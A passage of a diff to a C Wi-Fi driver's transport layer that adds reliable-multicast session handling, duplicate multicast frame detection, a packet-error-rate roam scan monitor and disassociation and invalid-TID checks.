9}, //reserved 75 + { 1350, 675, 8775, 9}, //reserved 76 + { 1350, 675, 8775, 9}, //reserved 77 + { 1350, 675, 8775, 9}, //index 78 + { 1350, 675, 8775, 9}, //index 79 + { 1350, 675, 8775, 9}, //index 80 + { 1350, 675, 8775, 9}, //index 81 + { 1350, 675, 8775, 9}, //index 82 + { 1350, 675, 8775, 9}, //index 83 + { 655, 458, 5954, 6}, //index 84 + { 722, 505, 6565, 7}, //index 85 + { 866, 606, 7878, 8}, //index 86 + { 1350, 675, 8775, 9}, //reserved 87 + { 1350, 675, 8775, 9}, //reserved 88 + { 1350, 675, 8775, 9}, //reserved 89 + { 135, 94, 1222, 1}, //index 90 + { 270, 189, 2457, 2}, //index 91 + { 405, 283, 3679, 4}, //index 92 + { 540, 378, 4914, 5}, //index 93 + { 810, 567, 7371, 7}, //index 94 + { 1080, 756, 9828, 10}, //index 95 + { 1215, 850, 11050, 11}, //index 96 + { 1350, 675, 8775, 9}, //index 97 + { 1350, 675, 8775, 9}, //index 98 + { 1620, 810, 10530, 11}, //index 99 + { 1800, 900, 11700, 12}, //index 100 + { 1350, 675, 8775, 9}, //reserved 101 + { 1350, 675, 8775, 9}, //index 102 + { 1350, 675, 8775, 9}, //index 103 + { 1350, 675, 8775, 9}, //index 104 + { 1350, 675, 8775, 9}, //index 105 + { 1350, 675, 8775, 9}, //index 106 + { 1200, 840, 10920, 11}, //index 107 + { 1350, 675, 8775, 9}, //index 108 + { 1500, 750, 9750, 10}, //index 109 + { 1350, 675, 8775, 9}, //index 110 + { 1800, 900, 11700, 12}, //index 111 + { 2000, 1000, 13000, 13}, //index 112 + { 1350, 675, 8775, 9}, //index 113 + { 292, 204, 2652, 3}, //index 114 + { 585, 409, 5317, 5}, //index 115 + { 877, 613, 7969, 8}, //index 116 + { 1170, 819, 10647, 11}, //index 117 + { 1755, 877, 11401, 11}, //index 118 + { 2340, 1170, 15210, 15}, //index 119 + { 2632, 1316, 17108, 17}, //index 120 + { 2925, 1462, 19006, 19}, //index 121 + { 1350, 675, 8775, 9}, //index 122 + { 3510, 1755, 22815, 23}, //index 123 + { 3900, 1950, 25350, 25}, //index 124 + { 1350, 675, 8775, 9}, //reserved 125 + { 1350, 675, 8775, 9}, //index 126 + { 1350, 675, 8775, 9}, //index 127 + { 1350, 675, 8775, 9}, //index 128 + { 1350, 675, 8775, 9}, //index 129 + { 1350, 675, 8775, 9}, //index 130 + { 1350, 675, 8775, 9}, //index 131 + { 2925, 1462, 19006, 19}, //index 132 + { 3250, 1625, 21125, 21}, //index 133 + { 1350, 675, 8775, 9}, //index 134 + { 3900, 1950, 25350, 25}, //index 135 + { 4333, 2166, 28158, 28} //index 136 + }; + + + /*---------------------------------------------------------------------------- * Static Variable Definitions * -------------------------------------------------------------------------*/ @@ -563,6 +736,16 @@ WLANTL_Open } #endif +#ifdef WLAN_FEATURE_RMC + status = WLANTL_RmcInit(pvosGCtx); + if (!VOS_IS_STATUS_SUCCESS(status)) + { + TLLOGE(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "RMC module init fail")); + return status; + } +#endif + pTLCb->isBMPS = VOS_FALSE; pmcRegisterDeviceStateUpdateInd( smeContext, WLANTL_PowerStateChangedCB, pvosGCtx ); @@ -820,6 +1003,14 @@ WLANTL_Close } #endif +#ifdef WLAN_FEATURE_RMC + if(VOS_STATUS_SUCCESS != WLANTL_RmcDeInit(pvosGCtx)) + { + TLLOGW(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_WARN, + "RMC module DeInit fail")); + } +#endif + /*------------------------------------------------------------------------ Cleanup TL control block. ------------------------------------------------------------------------*/ @@ -1239,6 +1430,7 @@ WLANTL_RegisterSTAClient pClientSTA->tlPri = WLANTL_STA_PRI_NORMAL; pClientSTA->wSTADesc.ucSTAId = pwSTADescType->ucSTAId; pClientSTA->ptkInstalled = 0; + pClientSTA->disassoc_progress = VOS_FALSE; pMac = vos_get_context(VOS_MODULE_ID_PE, pvosGCtx); if ( NULL != pMac ) @@ -1451,6 +1643,10 @@ WLANTL_RegisterSTAClient pTLCb->ucTdlsPeerCount++; #endif } +#ifdef WLAN_FEATURE_RMC + vos_lock_init(&pClientSTA->mcLock); +#endif /* WLAN_FEATURE_RMC */ + return VOS_STATUS_SUCCESS; }/* WLANTL_RegisterSTAClient */ @@ -1555,6 +1751,15 @@ WLANTL_ClearSTAClient "WLAN TL:Clearing STA Client ID: %d", ucSTAId )); WLANTL_CleanSTA(pTLCb->atlSTAClients[ucSTAId], 1 /*empty packets*/); +#ifdef WLAN_FEATURE_RMC + /*-------------------------------------------------------------------- + Delete multicast entries for duplicate detection + --------------------------------------------------------------------*/ + WLANTL_McastDeleteAllEntries(pTLCb->atlSTAClients[ucSTAId]); + + vos_lock_destroy(&pTLCb->atlSTAClients[ucSTAId]->mcLock); +#endif /* WLAN_FEATURE_RMC */ + TLLOG2(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_INFO_HIGH, "WLAN TL:Clearing STA Reset History RSSI and Region number")); pTLCb->hoSupport.currentHOState.historyRSSI = 0; @@ -4725,7 +4930,8 @@ WLANTL_GetFrames for ( i = 0; i < WLAN_MAX_STA_COUNT; i++) { if (NULL != pTLCb->atlSTAClients[i] && (pTLCb->atlSTAClients[i]->ucExists) && - (pTLCb->atlSTAClients[i]->ucPktPending)) + (pTLCb->atlSTAClients[i]->ucPktPending) && + (pTLCb->atlSTAClients[i]->disassoc_progress == VOS_FALSE)) { /* There is station to be Served */ break; @@ -6012,17 +6218,26 @@ WLANTL_RxFrames } }/*if bcast*/ - if ((WLANTL_STA_ID_INVALID(ucSTAId)) || (WLANTL_TID_INVALID(ucTid))) + if (WLANTL_STA_ID_INVALID(ucSTAId)) { TLLOGW(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_WARN, - "WLAN TL:STAId %d, Tid %d. Invalid STA ID/TID- dropping pkt", - ucSTAId, ucTid)); + "WLAN TL:STAId %d. Invalid STA ID dropping pkt", + ucSTAId)); /* Drop packet */ vos_pkt_return_packet(vosTempBuff); vosTempBuff = vosDataBuff; continue; } + if (WLANTL_TID_INVALID( ucTid)) { + /* There is a possibility AP uses wrong TID. In that case to avoid + dropping EAPOL packet in the driver use TID to zero.*/ + VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_INFO, + "WLAN TL:Invalid Tid: %d Frame type: %d", ucTid, ucFrmType); + WDA_GET_RX_TID( pvBDHeader ) = 0; + ucTid = 0; + } + #ifdef WLAN_FEATURE_LINK_LAYER_STATS ac = WLANTL_TID_2_AC[ucTid]; #endif @@ -8448,6 +8663,8 @@ WLANTL_STARxConn TLLOGE(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, "WLAN TL:Invalid tid %d (Station ID %d) on %s", ucTid, ucSTAId, __func__)); + vos_pkt_return_packet(vosDataBuff); + return VOS_STATUS_E_FAILURE; } TLLOG2(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_INFO_HIGH, @@ -8633,6 +8850,235 @@ WLANTL_FwdPktToHDD return VOS_STATUS_SUCCESS; } +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD +void WLANTL_StopRxRateMonitor(v_PVOID_t pvosGCtx) +{ + WLANTL_CbType *pTLCb = VOS_GET_TL_CB(pvosGCtx); + if (!pTLCb) + return; + pTLCb->gDsRxRoamStats.running = eWLAN_PAL_FALSE; +} + +void WLANTL_StartRxRateMonitor(v_PVOID_t pvosGCtx, v_U8_t staId, + v_U16_t minRate, + v_U16_t maxRate, v_U8_t minPercentage, + v_U16_t minPktRequired, void *hHal, + v_U64_t timeToWait, + void (*triggerRoamScanfn) (void *, v_U8_t)) +{ + + WLANTL_CbType *pTLCb = VOS_GET_TL_CB(pvosGCtx); + if (!pTLCb) + return; + + pTLCb->gDsRxRoamStats.running = eWLAN_PAL_TRUE; + pTLCb->gDsRxRoamStats.index = 0; + pTLCb->gDsRxRoamStats.lastTriggerTime = jiffies_to_msecs(jiffies); + pTLCb->gDsRxRoamStats.maxRate = maxRate; + pTLCb->gDsRxRoamStats.minRate = minRate; + pTLCb->gDsRxRoamStats.staId = staId; + pTLCb->gDsRxRoamStats.minPercentage = minPercentage; + pTLCb->gDsRxRoamStats.timeToWait = timeToWait * 1000; + pTLCb->gDsRxRoamStats.intialPktToStart = 0; + pTLCb->gDsRxRoamStats.minPktRequired = minPktRequired; + pTLCb->gDsRxRoamStats.triggerRoamScanfn = triggerRoamScanfn; + pTLCb->gDsRxRoamStats.hHal = hHal; + vos_mem_zero(pTLCb->gDsRxRoamStats.rxRoamStats, ROAM_MAX_INDEX_NUM * + sizeof(WLANTL_RoamTrafficStatsType)); + VOS_TRACE(VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_DEBUG, + "staId=%d, minRate=%d maxRate=%d minPercentage=%d minPktRequired=%d", + staId, minRate, maxRate, minPercentage, minPktRequired); +} + +void static WLANTL_ClearAllRoamStats(WLANTL_CbType *pTLCb) +{ + pTLCb->gDsRxRoamStats.index = 0; + pTLCb->gDsRxRoamStats.totalPkt = 0; + pTLCb->gDsRxRoamStats.lowRatePkt = 0; + pTLCb->gDsRxRoamStats.intialPktToStart = 0; + vos_mem_zero(pTLCb->gDsRxRoamStats.rxRoamStats, ROAM_MAX_INDEX_NUM * + sizeof(WLANTL_RoamTrafficStatsType)); +} + +/* + * WLANTL_ClearRoamStatsTillIndex : This API will clear older data + * at the indexes. + * + * Since its a circular buffer we don't know if we are filling + * data first time or some older data was already present at + * the index. In that case we should clear the older data from + * current index to new index and subtract this data from + * global count as well before filling new one. + */ +static inline void WLANTL_ClearRoamStatsTillIndex(WLANTL_CbType *pTLCb, + v_U8_t newIndex) +{ + while (pTLCb->gDsRxRoamStats.index < newIndex) + { + pTLCb->gDsRxRoamStats.index++; + pTLCb->gDsRxRoamStats.totalPkt -= + pTLCb->gDsRxRoamStats. + rxRoamStats[pTLCb->gDsRxRoamStats.index].totalPktRcvd; + pTLCb->gDsRxRoamStats.lowRatePkt -= + pTLCb->gDsRxRoamStats. + rxRoamStats[pTLCb->gDsRxRoamStats.index].lowRateRxPacketsRcvd; + pTLCb->gDsRxRoamStats. + rxRoamStats[pTLCb->gDsRxRoamStats.index].totalPktRcvd = 0; + pTLCb->gDsRxRoamStats. + rxRoamStats[pTLCb->gDsRxRoamStats.index].lowRateRxPacketsRcvd = 0; + } +} + + +static void WLANTL_ClearOldPERStats(WLANTL_CbType *pTLCb, v_U8_t incrementCnt) +{ + v_U8_t newIndex; + + newIndex = (pTLCb->gDsRxRoamStats.index + incrementCnt) % + ROAM_MAX_INDEX_NUM; + + /* We have crossed the max limit of buffer, clear the stats + * till ROAM_MAX_INDEX_NUM and set index as 0 */ + if ((pTLCb->gDsRxRoamStats.index + incrementCnt) >= + ROAM_MAX_INDEX_NUM) + { + WLANTL_ClearRoamStatsTillIndex(pTLCb, ROAM_MAX_INDEX_NUM - 1); + pTLCb->gDsRxRoamStats.index = -1; + } + /* Clear the stats from current index till new index */ + WLANTL_ClearRoamStatsTillIndex(pTLCb, newIndex); +} + +/* + * This API implements a circular buffer to store rate stats for a station to + * trigger PER based roam scan. + * API will start monitoring only if DUT gets continues packets which are below + * configured rate. In the upper rates, this should have minimal effect on data + * throughput. + * + * This API will store stats in a circular buffer of size ROAM_MAX_INDEX_NUM + * where each index will have time duration of ROAM_PER_INDEX_TIME. + * Using a buffer instead of counter will help to maintain stats of time + * duration ROAM_PER_INDEX_TIME * ROAM_MAX_INDEX_NUM. Whenever host gets a new + * packet, it will remove last ROAM_PER_INDEX_TIME duration of packets from + * global entry and index entry and fill new data. + * + * Global stats of data also be maintained so that host need not to parse whole + * buffer while checking the trigger condition + * Each of the index will be having the packets stats at duration of + * ROAM_PER_INDEX_TIME from the first packet which arrived in that. + * Global index will be used to calculate new index position to fill once host + * gets a packet. + */ +static void WLANTL_updatePERStats(WLANTL_CbType *pTLCb, + v_U8_t rateIndex) +{ + v_U8_t incrementCnt = 0; + v_U64_t currentTime, timeDifference; + + /* + * Host will start monitoring Rx rates only if it gets + * MIN_PKTS_TO_START_MONTIOR number of pkts continuously below min rate + * This will make sure we never do this much processing in high + * rates/throughput cases + */ + + if(pTLCb->gDsRxRoamStats.intialPktToStart < MIN_PKTS_TO_START_MONTIOR) + { + if (gTLRateInfo[rateIndex].phyRate < pTLCb->gDsRxRoamStats.minRate) + pTLCb->gDsRxRoamStats.intialPktToStart++; + else + pTLCb->gDsRxRoamStats.intialPktToStart = 0; + return; + } + + currentTime = jiffies_to_msecs(jiffies); + /* + * scan was triggered in last timeToWait time duration + * Wait for timeToWait before monitoring again. + */ + if((currentTime - pTLCb->gDsRxRoamStats.lastTriggerTime) < + pTLCb->gDsRxRoamStats.timeToWait) + return; + + /* paket above max rate, clear current stats and montior again */ + if (gTLRateInfo[rateIndex].phyRate >= + pTLCb->gDsRxRoamStats.maxRate) + { + WLANTL_ClearAllRoamStats(pTLCb); + /* Stop any PER based scan if going on */ + pTLCb->gDsRxRoamStats. + triggerRoamScanfn(pTLCb->gDsRxRoamStats.hHal, 0); + return; + } + + timeDifference = currentTime - + pTLCb->gDsRxRoamStats.rxRoamStats[pTLCb->gDsRxRoamStats.index].time; + + if (timeDifference) + incrementCnt = do_div(timeDifference, ROAM_PER_INDEX_TIME); + + /* More that ROAM_PER_INDEX_TIME has esclapsed, + * fill data at new index */ + if (incrementCnt) + { + if (incrementCnt > ROAM_MAX_INDEX_NUM) + { + /* + * Clear all stats, these are older than + * ROAM_MAX_INDEX_NUM * ROAM_PER_INDEX_TIME (Max buffer time) + */ + WLANTL_ClearAllRoamStats(pTLCb); + pTLCb->gDsRxRoamStats.index = 0; + } + else + WLANTL_ClearOldPERStats(pTLCb, incrementCnt); + + pTLCb->gDsRxRoamStats.rxRoamStats + [pTLCb->gDsRxRoamStats.index].time = currentTime; + } + + /* If pkt rate below minRate, increment low pkts counts */ + if (gTLRateInfo[rateIndex].phyRate < + pTLCb->gDsRxRoamStats.minRate) + { + pTLCb->gDsRxRoamStats. + rxRoamStats[pTLCb->gDsRxRoamStats.index]. + lowRateRxPacketsRcvd++; + pTLCb->gDsRxRoamStats.lowRatePkt++; + } + /* Increment total pkts counts */ + pTLCb->gDsRxRoamStats. + rxRoamStats[pTLCb->gDsRxRoamStats.index].totalPktRcvd++; + pTLCb->gDsRxRoamStats.totalPkt++; + + /* Check if we have reached threshold value to trigger a roam scan */ + if ((pTLCb->gDsRxRoamStats.totalPkt != 0) && + (pTLCb->gDsRxRoamStats.totalPkt > + pTLCb->gDsRxRoamStats.minPktRequired)&& + ((pTLCb->gDsRxRoamStats.lowRatePkt * 100) > + (pTLCb->gDsRxRoamStats.totalPkt * + pTLCb->gDsRxRoamStats.minPercentage))) + { + /* callback handler to trigger a roam scan */ + if (pTLCb->gDsRxRoamStats.triggerRoamScanfn) + pTLCb->gDsRxRoamStats. + triggerRoamScanfn(pTLCb->gDsRxRoamStats.hHal, 1); + + VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_DEBUG, + "PER Roam: triggerring roam scan totalPkt =%lu lowRatePkt %lu minPktRequired %u minPercentage %d", + (long unsigned int) pTLCb->gDsRxRoamStats.totalPkt, + (long unsigned int) pTLCb->gDsRxRoamStats.lowRatePkt, + (unsigned int) pTLCb->gDsRxRoamStats.minPktRequired, + pTLCb->gDsRxRoamStats.minPercentage); + + WLANTL_ClearAllRoamStats(pTLCb); + /* save current time as last trigger time */ + pTLCb->gDsRxRoamStats.lastTriggerTime = currentTime; + } +} +#endif + /*========================================================================== FUNCTION WLANTL_STARxAuth @@ -8679,6 +9125,10 @@ WLANTL_STARxAuth v_U8_t ucMPDUHLen; v_U16_t usActualHLen = 0; v_U8_t ucTid; +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + v_U8_t rxRate; + v_U8_t type; +#endif #ifdef FEATURE_WLAN_WAPI v_U16_t usEtherType = 0; tSirMacMgmtHdr *hdr; @@ -8737,6 +9187,10 @@ WLANTL_STARxAuth usMPDULen = (v_U16_t)WDA_GET_RX_MPDU_LEN(aucBDHeader); ucMPDUHLen = (v_U8_t)WDA_GET_RX_MPDU_HEADER_LEN(aucBDHeader); ucTid = (v_U8_t)WDA_GET_RX_TID(aucBDHeader); +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + rxRate = (v_U8_t)WDA_GET_RX_MAC_RATE_IDX(aucBDHeader); + type = (v_U8_t)WDA_GET_RX_TYPE(aucBDHeader); +#endif /* Fix for a hardware bug. * H/W does not update the tid field in BD header for BAR frames. @@ -8794,6 +9248,25 @@ WLANTL_STARxAuth } } +#ifdef WLAN_FEATURE_RMC + if (pTLCb->multicastDuplicateDetectionEnabled && + (WLAN_STA_IBSS == pClientSTA->wSTADesc.wSTAType) && + WLANTL_IS_DATA_FRAME(WDA_GET_RX_TYPE_SUBTYPE(aucBDHeader))) + { + /* + * Multicast duplicate detection is only for frames received in + * IBSS mode. + */ + if (VOS_TRUE == WLANTL_IsDuplicateMcastFrm(pClientSTA, vosDataBuff)) + { + pTLCb->mcastDupCnt++; + /* Duplicate multicast data packet, drop the packet */ + vos_pkt_return_packet(vosDataBuff); + return VOS_STATUS_SUCCESS; + } + } +#endif /* WLAN_FEATURE_RMC */ + #ifdef FEATURE_WLAN_WAPI if ( pClientSTA->wSTADesc.ucIsWapiSta ) { @@ -8850,8 +9323,18 @@ WLANTL_STARxAuth TLLOGE(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, "WLAN TL:Invalid tid %d (Station ID %d) on %s", ucTid, ucSTAId, __func__)); + vos_pkt_return_packet(vosDataBuff); + return VOS_STATUS_E_FAILURE; } +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + if (pTLCb->gDsRxRoamStats.running && + (ucSTAId == pTLCb->gDsRxRoamStats.staId) && + (rxRate < WLANTL_MAX_RATE_NUM) && (type == SIR_MAC_DATA_FRAME)) + { + WLANTL_updatePERStats(pTLCb, rxRate); + } +#endif /*------------------------------------------------------------------------ Check if AMSDU and send for processing if so ------------------------------------------------------------------------*/ @@ -11038,7 +11521,8 @@ WLAN_TLAPGetNextTxIds continue; } - if (WLANTL_STA_AUTHENTICATED != pTLCb->atlSTAClients[ucNextSTA]->tlState) + if ((WLANTL_STA_AUTHENTICATED != pTLCb->atlSTAClients[ucNextSTA]->tlState) + || (pTLCb->atlSTAClients[ucNextSTA]->disassoc_progress == VOS_TRUE )) { TLLOG2(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_INFO_HIGH, "%s Sta %d not in auth state so skipping it.", @@ -11706,7 +12190,7 @@ WLANTL_CleanSTA ptlSTAClient->wSTADesc.ucSwFrameTXXlation = 0; ptlSTAClient->wSTADesc.ucSwFrameRXXlation = 0; ptlSTAClient->wSTADesc.ucProtectedFrame = 0; - + ptlSTAClient->disassoc_progress = VOS_FALSE; /*------------------------------------------------------------------------- AMSDU information for the STA -------------------------------------------------------------------------*/ @@ -13290,3 +13774,618 @@ WLANTL_GetSTALinkCapacity return VOS_STATUS_SUCCESS; }/* WLANTL_GetSTALinkCapacity */ + + +#ifdef WLAN_FEATURE_RMC +VOS_STATUS WLANTL_RmcInit +( + v_PVOID_t pAdapter +) +{ + WLANTL_CbType *pTLCb = VOS_GET_TL_CB(pAdapter); + VOS_STATUS status = VOS_STATUS_SUCCESS; + tANI_U8 count; + + /*sanity check*/ + if (NULL == pTLCb) + { + TLLOGE(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "Invalid TL handle")); + return VOS_STATUS_E_INVAL; + } + + for ( count = 0; count < WLANTL_RMC_HASH_TABLE_SIZE; count++ ) + { + pTLCb->rmcSession[count] = NULL; + } + + vos_lock_init(&pTLCb->rmcLock); + + pTLCb->multicastDuplicateDetectionEnabled = 1; + pTLCb->rmcDataPathEnabled = 0; + + return status; +} + + +VOS_STATUS WLANTL_RmcDeInit +( + v_PVOID_t pAdapter +) +{ + WLANTL_CbType *pTLCb = VOS_GET_TL_CB(pAdapter); + VOS_STATUS status = VOS_STATUS_SUCCESS; + tANI_U8 count; + WLANTL_RMC_SESSION *pNode; + WLANTL_RMC_SESSION *pPrev; + + /*sanity check*/ + if (NULL == pTLCb) + { + TLLOGE(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "Invalid TL handle")); + return VOS_STATUS_E_INVAL; + } + + for ( count = 0; count < WLANTL_RMC_HASH_TABLE_SIZE; count++ ) + { + pNode = pTLCb->rmcSession[count]; + while (pNode) + { + pPrev = pNode; + pNode = pNode->next; + vos_mem_free((v_VOID_t * )pPrev); + } + } + + vos_lock_destroy(&pTLCb->rmcLock); + + return status; +} + + +tANI_U8 WLANTL_RmcHashRmcSession ( v_MACADDR_t *pMcastAddr ) +{ + tANI_U32 sum; + tANI_U8 hash; + + sum = (pMcastAddr->bytes[0] + pMcastAddr->bytes[1] + pMcastAddr->bytes[2] + + pMcastAddr->bytes[3] + pMcastAddr->bytes[4] + pMcastAddr->bytes[5]); + + hash = (tANI_U8)(sum & ((WLANTL_RMC_HASH_TABLE_SIZE - 1))); + + return hash; +} + + +WLANTL_RMC_SESSION* WLANTL_RmcLookUpRmcSession +( + WLANTL_RMC_SESSION *rmcSession[], + v_MACADDR_t *pMcastAddr +) +{ + WLANTL_RMC_SESSION *pNode; + tANI_U8 index; + + /*sanity check*/ + if (NULL == pMcastAddr) + { + TLLOGE(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "Sanity check failed pMcastAddr %p", pMcastAddr)); + return NULL; + } + + index = WLANTL_RmcHashRmcSession(pMcastAddr); + pNode = rmcSession[index]; + while ( pNode ) + { + if (vos_is_macaddr_equal( &(pNode->rmcAddr), pMcastAddr)) + { + return pNode; + } + pNode = pNode->next; + } + + return NULL; +} + +WLANTL_RMC_SESSION *WLANTL_RmcAddRmcSession +( + WLANTL_RMC_SESSION *rmcSession[], + v_MACADDR_t *pMcastAddr +) +{ + WLANTL_RMC_SESSION *pNode; + tANI_U8 index; + + index = WLANTL_RmcHashRmcSession(pMcastAddr); + pNode = WLANTL_RmcLookUpRmcSession(rmcSession, pMcastAddr); + if ( NULL != pNode ) + { + /*already exists*/ + return NULL; + } + else + { + pNode = (WLANTL_RMC_SESSION *)vos_mem_malloc(sizeof(*pNode)); + if (pNode) + { + vos_mem_copy( &(pNode->rmcAddr), pMcastAddr, + sizeof(pNode->rmcAddr) ); + pNode->next = rmcSession[index]; + rmcSession[index] = pNode; + return pNode; + } + else + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: vos_mem_malloc failed can't enable RMC session", + __func__); + return NULL; + } + } +} + +tANI_U8 +WLANTL_RmcDeleteRmcSession +( + WLANTL_RMC_SESSION *rmcSession[], + v_MACADDR_t *pMcastAddr +) +{ + WLANTL_RMC_SESSION *pHead; + WLANTL_RMC_SESSION *pNode; + WLANTL_RMC_SESSION *pPrev; + tANI_U8 index; + + index = WLANTL_RmcHashRmcSession(pMcastAddr); + pHead = pNode = rmcSession[index]; + while (pNode) + { + if (vos_is_macaddr_equal( &(pNode->rmcAddr), pMcastAddr)) + { + if (pHead == pNode) + { + rmcSession[index] = pNode->next; + } + else + { + pPrev->next = pNode->next; + } + vos_mem_free((v_VOID_t * )pNode); + return 1; + } + pPrev = pNode; + pNode = pNode->next; + } + + return 0; +} + +VOS_STATUS +WLANTL_ProcessRmcCommand +( + WLANTL_CbType* pTLCb, + v_MACADDR_t *pMcastAddr, + tANI_U32 command +) +{ + VOS_STATUS status; + tANI_U32 count; + tANI_U32 rmcActive; + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_acquire( &(pTLCb->rmcLock)))) + { + TLLOGE(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "%s Get Lock Fail", __func__)); + return VOS_STATUS_E_FAILURE; + } + + /*add or delete node from active rmc hash table*/ + if (command) + { + /*add requested rmc session in active rmc session list*/ + if (WLANTL_RmcAddRmcSession(pTLCb->rmcSession, pMcastAddr)) + { + TLLOGE( VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "RMC session " MAC_ADDRESS_STR " added in TL hash table", + MAC_ADDR_ARRAY(pMcastAddr->bytes) ) ); + pTLCb->rmcDataPathEnabled = TRUE; + status = VOS_STATUS_SUCCESS; + } + else + { + TLLOGE( VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "RMC session " MAC_ADDRESS_STR " already exists in TL hash" + " table", MAC_ADDR_ARRAY(pMcastAddr->bytes) ) ); + status = VOS_STATUS_E_FAILURE; + } + } + else + { + /*delete requested rmc session from active rmc session list*/ + if (WLANTL_RmcDeleteRmcSession(pTLCb->rmcSession, pMcastAddr)) + { + TLLOGE( VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_INFO, + "RMC session " MAC_ADDRESS_STR " deleted from TL hash table", + MAC_ADDR_ARRAY(pMcastAddr->bytes)) ); + status = VOS_STATUS_SUCCESS; + rmcActive = FALSE; + for ( count = 0; count < WLANTL_RMC_HASH_TABLE_SIZE; count++ ) + { + if (pTLCb->rmcSession[count]) + { + rmcActive = TRUE; + break; + } + } + if (TRUE == rmcActive) + { + pTLCb->rmcDataPathEnabled = TRUE; + } + else + { + pTLCb->rmcDataPathEnabled = FALSE; + } + } + else + { + TLLOGE( VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "RMC session " MAC_ADDRESS_STR " doesn't exist in TL hash" + " table", MAC_ADDR_ARRAY(pMcastAddr->bytes) ) ); + status = VOS_STATUS_E_FAILURE; + } + } + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_release(&(pTLCb->rmcLock)))) + { + TLLOGE(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "%s Release Lock Fail", __func__)); + return VOS_STATUS_E_FAILURE; + } + + return status; +}/* End of WLANTL_ProcessRmcCommand */ + +VOS_STATUS +WLANTL_EnableRMC +( + v_PVOID_t pvosGCtx, + v_MACADDR_t *pMcastTransmitterAddr +) +{ + WLANTL_CbType* pTLCb; + VOS_STATUS status; + + /*sanity check*/ + if ( (NULL == pvosGCtx) || (NULL == pMcastTransmitterAddr) ) + { + TLLOGE(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "WLAN TL %s: Sanity check failed pvosGCtx %p aMcastAddr %p", + __func__, pvosGCtx, pMcastTransmitterAddr)); + return VOS_STATUS_E_FAILURE; + } + + /*sanity check*/ + pTLCb = VOS_GET_TL_CB(pvosGCtx); + if ( NULL == pTLCb ) + { + TLLOGE(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "WLAN TL %s: pTLCb is NULL", __func__)); + return VOS_STATUS_E_FAILURE; + } + + status = WLANTL_ProcessRmcCommand(pTLCb, pMcastTransmitterAddr , 1); + + return status; +} /* End of WLANTL_EnableRMC */ + + +VOS_STATUS +WLANTL_DisableRMC +( + v_PVOID_t pvosGCtx, + v_MACADDR_t *pMcastTransmitterAddr +) +{ + WLANTL_CbType* pTLCb; + VOS_STATUS status; + + /*Sanity check*/ + if ((NULL == pvosGCtx) || (NULL == pMcastTransmitterAddr)) + { + TLLOGE(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "WLAN TL %s: Sanity check failed pvosGCtx %p aMcastAddr %p", + __func__, pvosGCtx, pMcastTransmitterAddr)); + return VOS_STATUS_E_FAILURE; + } + + /*Sanity check*/ + pTLCb = VOS_GET_TL_CB(pvosGCtx); + if (NULL == pTLCb) + { + TLLOGE(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "WLAN TL %s: pTLCb is NULL", __func__)); + return VOS_STATUS_E_FAILURE; + } + + status = WLANTL_ProcessRmcCommand(pTLCb, pMcastTransmitterAddr, 0); + + return status; +} /* End of WLANTL_DisableRMC */ + + +/*============================================================================= + Duplicate Multicast Detection Functions +==============================================================================*/ + +/*============================================================================= + FUNCTION WLANTL_IsDuplicateMcastFrm + + DESCRIPTION + This function checks for duplicast multicast frames and drops them. + + DEPENDENCIES + + PARAMETERS + + IN + + pClientSTA : Pointer to WLANTL_STAClientType + aucBDHeader : Pointer to BD header + + RETURN VALUE + + VOS_FALSE: This frame is not a duplicate + + VOS_TRUE: This frame is a duplicate + +==============================================================================*/ +v_U8_t +WLANTL_IsDuplicateMcastFrm +( + WLANTL_STAClientType *pClientSTA, + vos_pkt_t *vosDataBuff +) +{ + v_U8_t duplicate = VOS_FALSE; + WLANTL_RMC_SESSION *pNode; + v_U16_t usSeqCtrl; + v_MACADDR_t mcastAddr; + VOS_STATUS vosStatus; + v_PVOID_t pvPeekData; + + /* Get address 1 of Data Frame */ + vosStatus = vos_pkt_peek_data(vosDataBuff, WLANTL_MAC_ADDR_ALIGN(1), + (v_PVOID_t)&pvPeekData, VOS_MAC_ADDR_SIZE); + + if ( VOS_STATUS_SUCCESS != vosStatus ) + { + TLLOGE(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "WLAN TL: Failed to get Addr 1 of 80211 header from packet %d", + vosStatus)); + return VOS_FALSE; + } + + /* Copy address 1 of Data Frame */ + vos_mem_copy(&mcastAddr.bytes, pvPeekData, 